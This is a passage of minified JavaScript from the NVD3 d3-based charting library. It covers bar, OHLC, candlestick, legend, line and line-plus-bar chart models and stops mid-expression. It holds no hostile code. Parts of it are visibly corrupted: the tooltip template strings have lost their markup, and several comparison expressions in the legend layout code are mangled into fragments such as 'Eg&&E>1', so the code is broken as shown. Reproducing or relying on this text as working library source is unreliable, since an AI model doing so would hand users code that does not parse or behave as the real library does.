d,e,f=b||a.models.historicalBar(),g=a.models.axis(),h=a.models.axis(),i=a.models.legend(),j=a.interactiveGuideline(),k=a.models.tooltip(),l={top:30,right:90,bottom:50,left:90},m=a.utils.defaultColor(),n=null,o=null,p=!1,q=!0,r=!0,s=!1,t=!1,u={},v=null,w=null,x=d3.dispatch("tooltipHide","stateChange","changeState","renderEnd"),y=250;g.orient("bottom").tickPadding(7),h.orient(s?"right":"left"),k.duration(0).headerEnabled(!1).valueFormatter(function(a,b){return h.tickFormat()(a,b)}).headerFormatter(function(a,b){return g.tickFormat()(a,b)});var z=a.utils.renderWatch(x,0);return f.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:c.x()(a.data),value:c.y()(a.data),color:a.color},k.data(a).hidden(!1)}),f.dispatch.on("elementMouseout.tooltip",function(){k.hidden(!0)}),f.dispatch.on("elementMousemove.tooltip",function(){k.position({top:d3.event.pageY,left:d3.event.pageX})()}),c.dispatch=x,c.bars=f,c.legend=i,c.xAxis=g,c.yAxis=h,c.interactiveLayer=j,c.tooltip=k,c.options=a.utils.optionsFunc.bind(c),c._options=Object.create({},{width:{get:function(){return n},set:function(a){n=a}},height:{get:function(){return o},set:function(a){o=a}},showLegend:{get:function(){return p},set:function(a){p=a}},showXAxis:{get:function(){return q},set:function(a){q=a}},showYAxis:{get:function(){return r},set:function(a){r=a}},defaultState:{get:function(){return v},set:function(a){v=a}},noData:{get:function(){return w},set:function(a){w=a}},tooltips:{get:function(){return k.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),k.enabled(!!b)}},tooltipContent:{get:function(){return k.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),k.contentGenerator(b)}},margin:{get:function(){return l},set:function(a){l.top=void 0!==a.top?a.top:l.top,l.right=void 0!==a.right?a.right:l.right,l.bottom=void 0!==a.bottom?a.bottom:l.bottom,l.left=void 0!==a.left?a.left:l.left}},color:{get:function(){return m},set:function(b){m=a.utils.getColor(b),i.color(m),f.color(m)}},duration:{get:function(){return y},set:function(a){y=a,z.reset(y),h.duration(y),g.duration(y)}},rightAlignYAxis:{get:function(){return s},set:function(a){s=a,h.orient(a?"right":"left")}},useInteractiveGuideline:{get:function(){return t},set:function(a){t=a,a===!0&&c.interactive(!1)}}}),a.utils.inheritOptions(c,f),a.utils.initOptions(c),c},a.models.ohlcBarChart=function(){var b=a.models.historicalBarChart(a.models.ohlcBar());return b.useInteractiveGuideline(!0),b.interactiveLayer.tooltip.contentGenerator(function(a){var c=a.series[0].data,d=c.open'+a.value+"
              open:"+b.yAxis.tickFormat()(c.open)+"
              close:"+b.yAxis.tickFormat()(c.close)+"
              high"+b.yAxis.tickFormat()(c.high)+"
              low:"+b.yAxis.tickFormat()(c.low)+"
              "}),b},a.models.candlestickBarChart=function(){var b=a.models.historicalBarChart(a.models.candlestickBar());return b.useInteractiveGuideline(!0),b.interactiveLayer.tooltip.contentGenerator(function(a){var c=a.series[0].data,d=c.open'+a.value+"
              open:"+b.yAxis.tickFormat()(c.open)+"
              close:"+b.yAxis.tickFormat()(c.close)+"
              high"+b.yAxis.tickFormat()(c.high)+"
              low:"+b.yAxis.tickFormat()(c.low)+"
              "}),b},a.models.legend=function(){"use strict";function b(p){function q(a,b){return"furious"!=o?"#000":m?a.disengaged?"#000":"#fff":m?void 0:(a.color||(a.color=g(a,b)),a.disabled?a.color:"#fff")}function r(a,b){return m&&"furious"==o&&a.disengaged?"#eee":a.color||g(a,b)}function s(a){return m&&"furious"==o?1:a.disabled?0:1}return p.each(function(b){var g=d-c.left-c.right,p=d3.select(this);a.utils.initSVG(p);var t=p.selectAll("g.nv-legend").data([b]),u=t.enter().append("g").attr("class","nvd3 nv-legend").append("g"),v=t.select("g");t.attr("transform","translate("+c.left+","+c.top+")");var w,x,y=v.selectAll(".nv-series").data(function(a){return"furious"!=o?a:a.filter(function(a){return m?!0:!a.disengaged})}),z=y.enter().append("g").attr("class","nv-series");switch(o){case"furious":x=23;break;case"classic":x=20}if("classic"==o)z.append("circle").style("stroke-width",2).attr("class","nv-legend-symbol").attr("r",5),w=y.select("circle");else if("furious"==o){z.append("rect").style("stroke-width",2).attr("class","nv-legend-symbol").attr("rx",3).attr("ry",3),w=y.select(".nv-legend-symbol"),z.append("g").attr("class","nv-check-box").property("innerHTML",'').attr("transform","translate(-10,-8)scale(0.5)");var A=y.select(".nv-check-box");A.each(function(a,b){d3.select(this).selectAll("path").attr("stroke",q(a,b))})}z.append("text").attr("text-anchor","start").attr("class","nv-legend-text").attr("dy",".32em").attr("dx","8");var B=y.select("text.nv-legend-text");y.on("mouseover",function(a,b){n.legendMouseover(a,b)}).on("mouseout",function(a,b){n.legendMouseout(a,b)}).on("click",function(a,b){n.legendClick(a,b);var c=y.data();if(k){if("classic"==o)l?(c.forEach(function(a){a.disabled=!0}),a.disabled=!1):(a.disabled=!a.disabled,c.every(function(a){return a.disabled})&&c.forEach(function(a){a.disabled=!1}));else if("furious"==o)if(m)a.disengaged=!a.disengaged,a.userDisabled=void 0==a.userDisabled?!!a.disabled:a.userDisabled,a.disabled=a.disengaged||a.userDisabled;else if(!m){a.disabled=!a.disabled,a.userDisabled=a.disabled;var d=c.filter(function(a){return!a.disengaged});d.every(function(a){return a.userDisabled})&&c.forEach(function(a){a.disabled=a.userDisabled=!1})}n.stateChange({disabled:c.map(function(a){return!!a.disabled}),disengaged:c.map(function(a){return!!a.disengaged})})}}).on("dblclick",function(a,b){if(("furious"!=o||!m)&&(n.legendDblclick(a,b),k)){var c=y.data();c.forEach(function(a){a.disabled=!0,"furious"==o&&(a.userDisabled=a.disabled)}),a.disabled=!1,"furious"==o&&(a.userDisabled=a.disabled),n.stateChange({disabled:c.map(function(a){return!!a.disabled})})}}),y.classed("nv-disabled",function(a){return a.userDisabled}),y.exit().remove(),B.attr("fill",q).text(f);var C=0;if(h){var D=[];y.each(function(){var b,c=d3.select(this).select("text");try{if(b=c.node().getComputedTextLength(),0>=b)throw Error()}catch(d){b=a.utils.calcApproxTextWidth(c)}D.push(b+i)});var E=0,F=[];for(C=0;g>C&&Eg&&E>1;){F=[],E--;for(var G=0;G(F[G%E]||0)&&(F[G%E]=D[G]);C=F.reduce(function(a,b){return a+b})}for(var H=[],I=0,J=0;E>I;I++)H[I]=J,J+=F[I];y.attr("transform",function(a,b){return"translate("+H[b%E]+","+(5+Math.floor(b/E)*x)+")"}),j?v.attr("transform","translate("+(d-c.right-C)+","+c.top+")"):v.attr("transform","translate(0,"+c.top+")"),e=c.top+c.bottom+Math.ceil(D.length/E)*x}else{var K,L=5,M=5,N=0;y.attr("transform",function(){var a=d3.select(this).select("text").node().getComputedTextLength()+i;return K=M,dN&&(N=M),K+N>C&&(C=K+N),"translate("+K+","+L+")"}),v.attr("transform","translate("+(d-c.right-N)+","+c.top+")"),e=c.top+c.bottom+L+15}if("furious"==o){w.attr("width",function(a,b){return B[0][b].getComputedTextLength()+27}).attr("height",18).attr("y",-9).attr("x",-15),u.insert("rect",":first-child").attr("class","nv-legend-bg").attr("fill","#eee").attr("opacity",0);var O=v.select(".nv-legend-bg");O.transition().duration(300).attr("x",-x).attr("width",C+x-12).attr("height",e+10).attr("y",-c.top-10).attr("opacity",m?1:0)}w.style("fill",r).style("fill-opacity",s).style("stroke",r)}),b}var c={top:5,right:0,bottom:5,left:0},d=400,e=20,f=function(a){return a.key},g=a.utils.getColor(),h=!0,i=32,j=!0,k=!0,l=!1,m=!1,n=d3.dispatch("legendClick","legendDblclick","legendMouseover","legendMouseout","stateChange"),o="classic";return b.dispatch=n,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return d},set:function(a){d=a}},height:{get:function(){return e},set:function(a){e=a}},key:{get:function(){return f},set:function(a){f=a}},align:{get:function(){return h},set:function(a){h=a}},rightAlign:{get:function(){return j},set:function(a){j=a}},padding:{get:function(){return i},set:function(a){i=a}},updateState:{get:function(){return k},set:function(a){k=a}},radioButtonMode:{get:function(){return l},set:function(a){l=a}},expanded:{get:function(){return m},set:function(a){m=a}},vers:{get:function(){return o},set:function(a){o=a}},margin:{get:function(){return c},set:function(a){c.top=void 0!==a.top?a.top:c.top,c.right=void 0!==a.right?a.right:c.right,c.bottom=void 0!==a.bottom?a.bottom:c.bottom,c.left=void 0!==a.left?a.left:c.left}},color:{get:function(){return g},set:function(b){g=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.line=function(){"use strict";function b(r){return v.reset(),v.models(e),r.each(function(b){i=d3.select(this);var r=a.utils.availableWidth(g,i,f),s=a.utils.availableHeight(h,i,f);a.utils.initSVG(i),c=e.xScale(),d=e.yScale(),t=t||c,u=u||d;var w=i.selectAll("g.nv-wrap.nv-line").data([b]),x=w.enter().append("g").attr("class","nvd3 nv-wrap nv-line"),y=x.append("defs"),z=x.append("g"),A=w.select("g");z.append("g").attr("class","nv-groups"),z.append("g").attr("class","nv-scatterWrap"),w.attr("transform","translate("+f.left+","+f.top+")"),e.width(r).height(s);var B=w.select(".nv-scatterWrap");B.call(e),y.append("clipPath").attr("id","nv-edge-clip-"+e.id()).append("rect"),w.select("#nv-edge-clip-"+e.id()+" rect").attr("width",r).attr("height",s>0?s:0),A.attr("clip-path",p?"url(#nv-edge-clip-"+e.id()+")":""),B.attr("clip-path",p?"url(#nv-edge-clip-"+e.id()+")":"");var C=w.select(".nv-groups").selectAll(".nv-group").data(function(a){return a},function(a){return a.key});C.enter().append("g").style("stroke-opacity",1e-6).style("stroke-width",function(a){return a.strokeWidth||j}).style("fill-opacity",1e-6),C.exit().remove(),C.attr("class",function(a,b){return(a.classed||"")+" nv-group nv-series-"+b}).classed("hover",function(a){return a.hover}).style("fill",function(a,b){return k(a,b)}).style("stroke",function(a,b){return k(a,b)}),C.watchTransition(v,"line: groups").style("stroke-opacity",1).style("fill-opacity",function(a){return a.fillOpacity||.5});var D=C.selectAll("path.nv-area").data(function(a){return o(a)?[a]:[]});D.enter().append("path").attr("class","nv-area").attr("d",function(b){return d3.svg.area().interpolate(q).defined(n).x(function(b,c){return a.utils.NaNtoZero(t(l(b,c)))}).y0(function(b,c){return a.utils.NaNtoZero(u(m(b,c)))}).y1(function(){return u(d.domain()[0]<=0?d.domain()[1]>=0?0:d.domain()[1]:d.domain()[0])}).apply(this,[b.values])}),C.exit().selectAll("path.nv-area").remove(),D.watchTransition(v,"line: areaPaths").attr("d",function(b){return d3.svg.area().interpolate(q).defined(n).x(function(b,d){return a.utils.NaNtoZero(c(l(b,d)))}).y0(function(b,c){return a.utils.NaNtoZero(d(m(b,c)))}).y1(function(){return d(d.domain()[0]<=0?d.domain()[1]>=0?0:d.domain()[1]:d.domain()[0])}).apply(this,[b.values])});var E=C.selectAll("path.nv-line").data(function(a){return[a.values]});E.enter().append("path").attr("class","nv-line").attr("d",d3.svg.line().interpolate(q).defined(n).x(function(b,c){return a.utils.NaNtoZero(t(l(b,c)))}).y(function(b,c){return a.utils.NaNtoZero(u(m(b,c)))})),E.watchTransition(v,"line: linePaths").attr("d",d3.svg.line().interpolate(q).defined(n).x(function(b,d){return a.utils.NaNtoZero(c(l(b,d)))}).y(function(b,c){return a.utils.NaNtoZero(d(m(b,c)))})),t=c.copy(),u=d.copy()}),v.renderEnd("line immediate"),b}var c,d,e=a.models.scatter(),f={top:0,right:0,bottom:0,left:0},g=960,h=500,i=null,j=1.5,k=a.utils.defaultColor(),l=function(a){return a.x},m=function(a){return a.y},n=function(a,b){return!isNaN(m(a,b))&&null!==m(a,b)},o=function(a){return a.area},p=!1,q="linear",r=250,s=d3.dispatch("elementClick","elementMouseover","elementMouseout","renderEnd");e.pointSize(16).pointDomain([16,256]);var t,u,v=a.utils.renderWatch(s,r);return b.dispatch=s,b.scatter=e,e.dispatch.on("elementClick",function(){s.elementClick.apply(this,arguments)}),e.dispatch.on("elementMouseover",function(){s.elementMouseover.apply(this,arguments)}),e.dispatch.on("elementMouseout",function(){s.elementMouseout.apply(this,arguments)}),b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return g},set:function(a){g=a}},height:{get:function(){return h},set:function(a){h=a}},defined:{get:function(){return n},set:function(a){n=a}},interpolate:{get:function(){return q},set:function(a){q=a}},clipEdge:{get:function(){return p},set:function(a){p=a}},margin:{get:function(){return f},set:function(a){f.top=void 0!==a.top?a.top:f.top,f.right=void 0!==a.right?a.right:f.right,f.bottom=void 0!==a.bottom?a.bottom:f.bottom,f.left=void 0!==a.left?a.left:f.left}},duration:{get:function(){return r},set:function(a){r=a,v.reset(r),e.duration(r)}},isArea:{get:function(){return o},set:function(a){o=d3.functor(a)}},x:{get:function(){return l},set:function(a){l=a,e.x(a)}},y:{get:function(){return m},set:function(a){m=a,e.y(a)}},color:{get:function(){return k},set:function(b){k=a.utils.getColor(b),e.color(k)}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.lineChart=function(){"use strict";function b(j){return y.reset(),y.models(e),p&&y.models(f),q&&y.models(g),j.each(function(j){var v=d3.select(this),y=this;a.utils.initSVG(v);var B=a.utils.availableWidth(m,v,k),C=a.utils.availableHeight(n,v,k);if(b.update=function(){0===x?v.call(b):v.transition().duration(x).call(b)},b.container=this,t.setter(A(j),b.update).getter(z(j)).update(),t.disabled=j.map(function(a){return!!a.disabled}),!u){var D;u={};for(D in t)u[D]=t[D]instanceof Array?t[D].slice(0):t[D] }if(!(j&&j.length&&j.filter(function(a){return a.values.length}).length))return a.utils.noData(b,v),b;v.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale();var E=v.selectAll("g.nv-wrap.nv-lineChart").data([j]),F=E.enter().append("g").attr("class","nvd3 nv-wrap nv-lineChart").append("g"),G=E.select("g");F.append("rect").style("opacity",0),F.append("g").attr("class","nv-x nv-axis"),F.append("g").attr("class","nv-y nv-axis"),F.append("g").attr("class","nv-linesWrap"),F.append("g").attr("class","nv-legendWrap"),F.append("g").attr("class","nv-interactive"),G.select("rect").attr("width",B).attr("height",C>0?C:0),o&&(h.width(B),G.select(".nv-legendWrap").datum(j).call(h),k.top!=h.height()&&(k.top=h.height(),C=a.utils.availableHeight(n,v,k)),E.select(".nv-legendWrap").attr("transform","translate(0,"+-k.top+")")),E.attr("transform","translate("+k.left+","+k.top+")"),r&&G.select(".nv-y.nv-axis").attr("transform","translate("+B+",0)"),s&&(i.width(B).height(C).margin({left:k.left,top:k.top}).svgContainer(v).xScale(c),E.select(".nv-interactive").call(i)),e.width(B).height(C).color(j.map(function(a,b){return a.color||l(a,b)}).filter(function(a,b){return!j[b].disabled}));var H=G.select(".nv-linesWrap").datum(j.filter(function(a){return!a.disabled}));H.call(e),p&&(f.scale(c)._ticks(a.utils.calcTicksX(B/100,j)).tickSize(-C,0),G.select(".nv-x.nv-axis").attr("transform","translate(0,"+d.range()[0]+")"),G.select(".nv-x.nv-axis").call(f)),q&&(g.scale(d)._ticks(a.utils.calcTicksY(C/36,j)).tickSize(-B,0),G.select(".nv-y.nv-axis").call(g)),h.dispatch.on("stateChange",function(a){for(var c in a)t[c]=a[c];w.stateChange(t),b.update()}),i.dispatch.on("elementMousemove",function(c){e.clearHighlights();var d,h,m,n=[];if(j.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(f,g){h=a.interactiveBisect(f.values,c.pointXValue,b.x());var i=f.values[h],j=b.y()(i,h);null!=j&&e.highlightPoint(g,h,!0),void 0!==i&&(void 0===d&&(d=i),void 0===m&&(m=b.xScale()(b.x()(i,h))),n.push({key:f.key,value:j,color:l(f,f.seriesIndex)}))}),n.length>2){var o=b.yScale().invert(c.mouseY),p=Math.abs(b.yScale().domain()[0]-b.yScale().domain()[1]),q=.03*p,r=a.nearestValueIndex(n.map(function(a){return a.value}),o,q);null!==r&&(n[r].highlight=!0)}var s=f.tickFormat()(b.x()(d,h));i.tooltip.position({left:c.mouseX+k.left,top:c.mouseY+k.top}).chartContainer(y.parentNode).valueFormatter(function(a){return null==a?"N/A":g.tickFormat()(a)}).data({value:s,index:h,series:n})(),i.renderGuideLine(m)}),i.dispatch.on("elementClick",function(c){var d,f=[];j.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(e){var g=a.interactiveBisect(e.values,c.pointXValue,b.x()),h=e.values[g];if("undefined"!=typeof h){"undefined"==typeof d&&(d=b.xScale()(b.x()(h,g)));var i=b.yScale()(b.y()(h,g));f.push({point:h,pointIndex:g,pos:[d,i],seriesIndex:e.seriesIndex,series:e})}}),e.dispatch.elementClick(f)}),i.dispatch.on("elementMouseout",function(){e.clearHighlights()}),w.on("changeState",function(a){"undefined"!=typeof a.disabled&&j.length===a.disabled.length&&(j.forEach(function(b,c){b.disabled=a.disabled[c]}),t.disabled=a.disabled),b.update()})}),y.renderEnd("lineChart immediate"),b}var c,d,e=a.models.line(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend(),i=a.interactiveGuideline(),j=a.models.tooltip(),k={top:30,right:20,bottom:50,left:60},l=a.utils.defaultColor(),m=null,n=null,o=!0,p=!0,q=!0,r=!1,s=!1,t=a.utils.state(),u=null,v=null,w=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd"),x=250;f.orient("bottom").tickPadding(7),g.orient(r?"right":"left"),j.valueFormatter(function(a,b){return g.tickFormat()(a,b)}).headerFormatter(function(a,b){return f.tickFormat()(a,b)});var y=a.utils.renderWatch(w,x),z=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},A=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return e.dispatch.on("elementMouseover.tooltip",function(a){j.data(a).position(a.pos).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){j.hidden(!0)}),b.dispatch=w,b.lines=e,b.legend=h,b.xAxis=f,b.yAxis=g,b.interactiveLayer=i,b.tooltip=j,b.dispatch=w,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return m},set:function(a){m=a}},height:{get:function(){return n},set:function(a){n=a}},showLegend:{get:function(){return o},set:function(a){o=a}},showXAxis:{get:function(){return p},set:function(a){p=a}},showYAxis:{get:function(){return q},set:function(a){q=a}},defaultState:{get:function(){return u},set:function(a){u=a}},noData:{get:function(){return v},set:function(a){v=a}},tooltips:{get:function(){return j.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),j.enabled(!!b)}},tooltipContent:{get:function(){return j.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),j.contentGenerator(b)}},margin:{get:function(){return k},set:function(a){k.top=void 0!==a.top?a.top:k.top,k.right=void 0!==a.right?a.right:k.right,k.bottom=void 0!==a.bottom?a.bottom:k.bottom,k.left=void 0!==a.left?a.left:k.left}},duration:{get:function(){return x},set:function(a){x=a,y.reset(x),e.duration(x),f.duration(x),g.duration(x)}},color:{get:function(){return l},set:function(b){l=a.utils.getColor(b),h.color(l),e.color(l)}},rightAlignYAxis:{get:function(){return r},set:function(a){r=a,g.orient(r?"right":"left")}},useInteractiveGuideline:{get:function(){return s},set:function(a){s=a,s&&(e.interactive(!1),e.useVoronoi(!1))}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.linePlusBarChart=function(){"use strict";function b(v){return v.each(function(v){function J(a){var b=+("e"==a),c=b?1:-1,d=X/3;return"M"+.5*c+","+d+"A6,6 0 0 "+b+" "+6.5*c+","+(d+6)+"V"+(2*d-6)+"A6,6 0 0 "+b+" "+.5*c+","+2*d+"ZM"+2.5*c+","+(d+8)+"V"+(2*d-8)+"M"+4.5*c+","+(d+8)+"V"+(2*d-8)}function S(){u.empty()||u.extent(I),kb.data([u.empty()?e.domain():I]).each(function(a){var b=e(a[0])-e.range()[0],c=e.range()[1]-e(a[1]);d3.select(this).select(".left").attr("width",0>b?0:b),d3.select(this).select(".right").attr("x",e(a[1])).attr("width",0>c?0:c)})}function T(){I=u.empty()?null:u.extent(),c=u.empty()?e.domain():u.extent(),K.brush({extent:c,brush:u}),S(),l.width(V).height(W).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&v[b].bar})),j.width(V).height(W).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&!v[b].bar}));var b=db.select(".nv-focus .nv-barsWrap").datum(Z.length?Z.map(function(a){return{key:a.key,values:a.values.filter(function(a,b){return l.x()(a,b)>=c[0]&&l.x()(a,b)<=c[1]})}}):[{values:[]}]),h=db.select(".nv-focus .nv-linesWrap").datum($[0].disabled?[{values:[]}]:$.map(function(a){return{area:a.area,fillOpacity:a.fillOpacity,key:a.key,values:a.values.filter(function(a,b){return j.x()(a,b)>=c[0]&&j.x()(a,b)<=c[1]})}}));d=Z.length?l.xScale():j.xScale(),n.scale(d)._ticks(a.utils.calcTicksX(V/100,v)).tickSize(-W,0),n.domain([Math.ceil(c[0]),Math.floor(c[1])]),db.select(".nv-x.nv-axis").transition().duration(L).call(n),b.transition().duration(L).call(l),h.transition().duration(L).call(j),db.select(".nv-focus .nv-x.nv-axis").attr("transform","translate(0,"+f.range()[0]+")"),p.scale(f)._ticks(a.utils.calcTicksY(W/36,v)).tickSize(-V,0),q.scale(g)._ticks(a.utils.calcTicksY(W/36,v)).tickSize(Z.length?0:-V,0),db.select(".nv-focus .nv-y1.nv-axis").style("opacity",Z.length?1:0),db.select(".nv-focus .nv-y2.nv-axis").style("opacity",$.length&&!$[0].disabled?1:0).attr("transform","translate("+d.range()[1]+",0)"),db.select(".nv-focus .nv-y1.nv-axis").transition().duration(L).call(p),db.select(".nv-focus .nv-y2.nv-axis").transition().duration(L).call(q)}var U=d3.select(this);a.utils.initSVG(U);var V=a.utils.availableWidth(y,U,w),W=a.utils.availableHeight(z,U,w)-(E?H:0),X=H-x.top-x.bottom;if(b.update=function(){U.transition().duration(L).call(b)},b.container=this,M.setter(R(v),b.update).getter(Q(v)).update(),M.disabled=v.map(function(a){return!!a.disabled}),!N){var Y;N={};for(Y in M)N[Y]=M[Y]instanceof Array?M[Y].slice(0):M[Y]}if(!(v&&v.length&&v.filter(function(a){return a.values.length}).length))return a.utils.noData(b,U),b;U.selectAll(".nv-noData").remove();var Z=v.filter(function(a){return!a.disabled&&a.bar}),$=v.filter(function(a){return!a.bar});d=l.xScale(),e=o.scale(),f=l.yScale(),g=j.yScale(),h=m.yScale(),i=k.yScale();var _=v.filter(function(a){return!a.disabled&&a.bar}).map(function(a){return a.values.map(function(a,b){return{x:A(a,b),y:B(a,b)}})}),ab=v.filter(function(a){return!a.disabled&&!a.bar}).map(function(a){return a.values.map(function(a,b){return{x:A(a,b),y:B(a,b)}})});d.range([0,V]),e.domain(d3.extent(d3.merge(_.concat(ab)),function(a){return a.x})).range([0,V]);var bb=U.selectAll("g.nv-wrap.nv-linePlusBar").data([v]),cb=bb.enter().append("g").attr("class","nvd3 nv-wrap nv-linePlusBar").append("g"),db=bb.select("g");cb.append("g").attr("class","nv-legendWrap");var eb=cb.append("g").attr("class","nv-focus");eb.append("g").attr("class","nv-x nv-axis"),eb.append("g").attr("class","nv-y1 nv-axis"),eb.append("g").attr("class","nv-y2 nv-axis"),eb.append("g").attr("class","nv-barsWrap"),eb.append("g").attr("class","nv-linesWrap");var fb=cb.append("g").attr("class","nv-context");if(fb.append("g").attr("class","nv-x nv-axis"),fb.append("g").attr("class","nv-y1 nv-axis"),fb.append("g").attr("class","nv-y2 nv-axis"),fb.append("g").attr("class","nv-barsWrap"),fb.append("g").attr("class","nv-linesWrap"),fb.append("g").attr("class","nv-brushBackground"),fb.append("g").attr("class","nv-x nv-brush"),D){var gb=t.align()?V/2:V,hb=t.align()?gb:0;t.width(gb),db.select(".nv-legendWrap").datum(v.map(function(a){return a.originalKey=void 0===a.originalKey?a.key:a.originalKey,a.key=a.originalKey+(a.bar?O:P),a})).call(t),w.top!=t.height()&&(w.top=t.height(),W=a.utils.availableHeight(z,U,w)-H),db.select(".nv-legendWrap").attr("transform","translate("+hb+","+-w.top+")")}bb.attr("transform","translate("+w.left+","+w.top+")"),db.select(".nv-context").style("display",E?"initial":"none"),m.width(V).height(X).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&v[b].bar})),k.width(V).height(X).color(v.map(function(a,b){return a.color||C(a,b)}).filter(function(a,b){return!v[b].disabled&&!v[b].bar}));var ib=db.select(".nv-context .nv-barsWrap").datum(Z.length?Z:[{values:[]}]),jb=db.select(".nv-context .nv-linesWrap").datum($[0].disabled?[{values:[]}]:$);db.select(".nv-context").attr("transform","translate(0,"+(W+w.bottom+x.top)+")"),ib.transition().call(m),jb.transition().call(k),G&&(o._ticks(a.utils.calcTicksX(V/100,v)).tickSize(-X,0),db.select(".nv-context .nv-x.nv-axis").attr("transform","translate(0,"+h.range()[0]+")"),db.select(".nv-context .nv-x.nv-axis").transition().call(o)),F&&(r.scale(h)._ticks(X/36).tickSize(-V,0),s.scale(i)._ticks(X/36).tickSize(Z.length?0:-V,0),db.select(".nv-context .nv-y3.nv-axis").style("opacity",Z.length?1:0).attr("transform","translate(0,"+e.range()[0]+")"),db.select(".nv-context .nv-y2.nv-axis").style("opacity",$.length?1:0).attr("transform","translate("+e.range()[1]+",0)"),db.select(".nv-context .nv-y1.nv-axis").transition().call(r),db.select(".nv-context .nv-y2.nv-axis").transition().call(s)),u.x(e).on("brush",T),I&&u.extent(I);var kb=db.select(".nv-brushBackground").selectAll("g").data([I||u.extent()]),lb=kb.enter().append("g");lb.append("rect").attr("class","left").attr("x",0).attr("y",0).attr("height",X),lb.append("rect").attr("class","right").attr("x",0).attr("y",0).attr("height",X);var mb=db.select(".nv-x.nv-brush").call(u);mb.selectAll("rect").attr("height",X),mb.selectAll(".resize").append("path").attr("d",J),t.dispatch.on("stateChange",function(a){for(var c in a)M[c]=a[c];K.stateChange(M),b.update()}),K.on("changeState",function(a){"undefined"!=typeof a.disabled&&(v.forEach(function(b,c){b.disabled=a.disabled[c]}),M.disabled=a.disabled),b.update()}),T()}),b}var c,d,e,f,g,h,i,j=a.models.line(),k=a.models.line(),l=a.models.historicalBar(),m=a.models.historicalBar(),n=a.models.axis(),o=a.models.axis(),p=a.models.axis(),q=a.models.axis(),r=a.models.axis(),s=a.models.axis(),t=a.models.legend(),u=d3.svg.brush(),v=a.models.tooltip(),w={top:30,right:30,bottom:30,left:60},x={top:0,right:30,bottom:20,left:60},y=null,z=null,A=function(a){return a.x},B=function(a){return a.y},C=a.utils.defaultColor(),D=!0,E=!0,F=!1,G=!0,H=50,I=null,J=null,K=d3.dispatch("brush","stateChange","changeState"),L=0,M=a.utils.state(),N=null,O=" (left axis)",P=" (right axis)";j.clipEdge(!0),k.interactive(!1),n.orient("bottom").tickPadding(5),p.orient("left"),q.orient("right"),o.orient("bottom").tickPadding(5),r.orient("left"),s.orient("right"),v.headerEnabled(!0).headerFormatter(function(a,b){return n.tickFormat()(a,b)});var Q=function(a){return function(){return{active:a.map(function(a){return!a.disabled})}}},R=function(a){return function(b){void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}};return j.dispatch.on("elementMouseover.tooltip",function(a){v.duration(100).valueFormatter(function(a,b){return q.tickFormat()(a,b)}).data(a).position(a.pos).hidden(!1)}),j.dispatch.on("elementMouseout.tooltip",function(){v.hidden(!0)}),l.dispatch.on("elementMouseover.tooltip",function(a){a.value=b.x()(a.data),a.series={value:b.y()(a.data),color:a.color},v.duration(0).valueFormatter(function(a,b){return p.tickFormat()(a,b)}).data(a).hidden(!1)}),l.dispatch.on("elementMouseout.tooltip",function(){v.hidden(!0)}),l.dispatch.on("elementMousemove.tooltip",function(){v.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=K,b.legend=t,b.lines=j,b.lines2=k,b.bars=l,b.bars2=m,b.xAxis=n,b.x2Axis=o,b.y1Axis=p,b.y2Axis=q,b.y3Axis=r,b.y4Axis=s,b.tooltip=v,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return y},set:function(a){y=a}},height:{get:function(){return z},set:function(a){z=a}},showLegend:{get:function(){return D},set:function(a){D=a}},brushExtent:{get:function(){return I},set:function(a){I=a}},noData:{get:function(){return J},set:function(a){J=a}},focusEnable:{get:function(){return E},set:function(a){E=a}},focusHeight:{get:function(){return H},set:function(a){H=a}},focusShowAxisX:{get:function(){return G},set:function(a){G=a}},focusShowAxisY:{get:function(){return F},set:function(a){F=a}},legendLeftAxisHint:{get:function(){return O},set:function(a){O=a}},legendRightAxisHint:{get:function(){return P},set:function(a){P=a}},tooltips:{get:function(){return v.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),v.enabled(!!b)}},tooltipContent:{get:function(){return v.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),v.contentGenerator(b)}},margin:{get:function(){return w},set:function(a){w.top=void 0!==a.top?a.top:w.top,w.right=void 0!==a.right?a.right:w.right,w.bottom=void 0!==a.bottom?a.bottom:w.bottom,w.left=void 0!==a.left?a.left:w.left}},duration:{get:function(){return L},set:function(a){L=a}},color:{get:function(){return C},set:function(b){C=a.utils.getColor(b),t.color(C)}},x:{get:function(){return A},set:function(a){A=a,j.x(a),k.x(a),l.x(a),m.x(a)}},y:{get:function(){return B},set:function(a){B=a,j.y(a),k.y(a),l.y(a),m.y(a)}}}),a.utils.inheritOptions(b,j),a.utils.initOptions(b),b},a.models.lineWithFocusChart=function(){"use strict";function b(o){return o.each(function(o){function z(a){var b=+("e"==a),c=b?1:-1,d=M/3;return"M"+.5*c+","+d+"A6,6 0 0 "+b+" 